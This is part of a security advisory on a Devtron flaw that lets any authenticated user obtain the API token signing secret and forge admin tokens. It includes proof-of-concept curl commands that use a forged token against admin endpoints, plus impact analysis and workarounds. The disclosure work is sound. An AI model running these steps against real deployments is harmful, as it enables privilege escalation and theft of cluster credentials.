Advisory

GHSA-8wpc-j9q9-j5m2

Details, part 2 of 2. The advisory

Details

Step 4: Test Forged Token with Admin APIs

Use the forged token to access admin APIs:

# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)

# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'

# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'

# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
  -H "token: ${FORGED_TOKEN}" | jq '.result'

Actual Output Example:

[*] Test 1: Getting user list...
{
  "id": 1,
  "email_id": "admin",
  "roles": ["role:super-admin___"]
}
{
  "id": 2,
  "email_id": "[email protected]",
  "roles": ["role:developer"]
}

[*] Test 2: Getting cluster list...
{
  "id": 1,
  "cluster_name": "default_cluster",
  "server_url": "https://kubernetes.default.svc"
}

[*] Test 3: Getting application list...
{
  "appContainers": [
    {
      "appId": 1,
      "appName": "sample-app",
      "projectId": 1
    }
  ]
}

Expected Result

If the vulnerability exists, it should be able to:

  1. Successfully obtain apiTokenSecret using any authenticated user's token
  2. Successfully forge JWT tokens using the leaked key
  3. Successfully access admin-only APIs using the forged token
  4. Retrieve sensitive information such as user lists, cluster configurations, etc.

Impact

Security Impact

Confidentiality: Severe impact. Attackers can:

  • Obtain the global API Token signing key
  • Read all user information and permission configurations
  • Access Kubernetes cluster configurations and credentials
  • Read sensitive application configurations and Secrets

Integrity: Severe impact. Attackers can:

  • Forge API Tokens for arbitrary user identities
  • Modify application configurations and deployments
  • Create or delete CI/CD pipelines
  • Modify user permissions and roles

Availability: High impact. Attackers can:

  • Delete critical applications and configurations
  • Disrupt CI/CD processes
  • Modify cluster configurations causing service interruptions

Business Impact

  1. Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators
  2. Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes
  3. Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code
  4. Data Breach: Can access all application configurations and Secrets
  5. Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials

Attack Scenarios

Scenario 1: Insider Threat

  • Low-privileged developer exploits this vulnerability to escalate privileges
  • Gains full access to production environment
  • Steals sensitive data or plants backdoors

Scenario 2: Supply Chain Attack

  • Attacker obtains low-privileged account through social engineering
  • Exploits vulnerability to gain admin privileges
  • Modifies CI/CD pipelines to inject malicious code
  • Affects all applications using the pipeline

Scenario 3: Lateral Movement

  • Attacker has already compromised a low-privileged account
  • Exploits this vulnerability to gain Kubernetes cluster access
  • Deploys cryptocurrency miners or other malicious payloads in the cluster

Severity

CVSS v3.1 Score: 9.8 (Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Score Breakdown:

  • Attack Vector (AV:N): Network accessible, exploited via HTTP API
  • Attack Complexity (AC:L): Low complexity, requires only one HTTP request
  • Privileges Required (PR:L): Requires low privileges (any authenticated user)
  • User Interaction (UI:N): No user interaction required
  • Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster)
  • Confidentiality (C:H): High impact, can read all sensitive information
  • Integrity (I:H): High impact, can modify all configurations and data
  • Availability (A:H): High impact, can delete resources and disrupt services

Severity Level: Critical

Affected Versions

  • Devtron: All versions (as of 2026-01-26 verification)
  • Specifically affected code files:
  • api/restHandler/AttributesRestHandlder.go
  • pkg/apiToken/ApiTokenSecretService.go

Workarounds

Before an official patch is released, the following temporary measures can be taken:

Option 1: Network-Level Restrictions

# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: devtron-api-restriction
  namespace: devtroncd
spec:
  podSelector:
    matchLabels:
      app: devtron
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: admin
    ports:
    - protocol: TCP
      port: 8080
EOF

Option 2: Rotate API Token Secret

# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)

# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
  psql -U postgres -d orchestrator -c \
  "UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"

# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd

Option 3: Add API Gateway Filtering

Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.

Credits
@b0b0haha ([email protected])
@lixingquzhi([email protected])

Sources & licences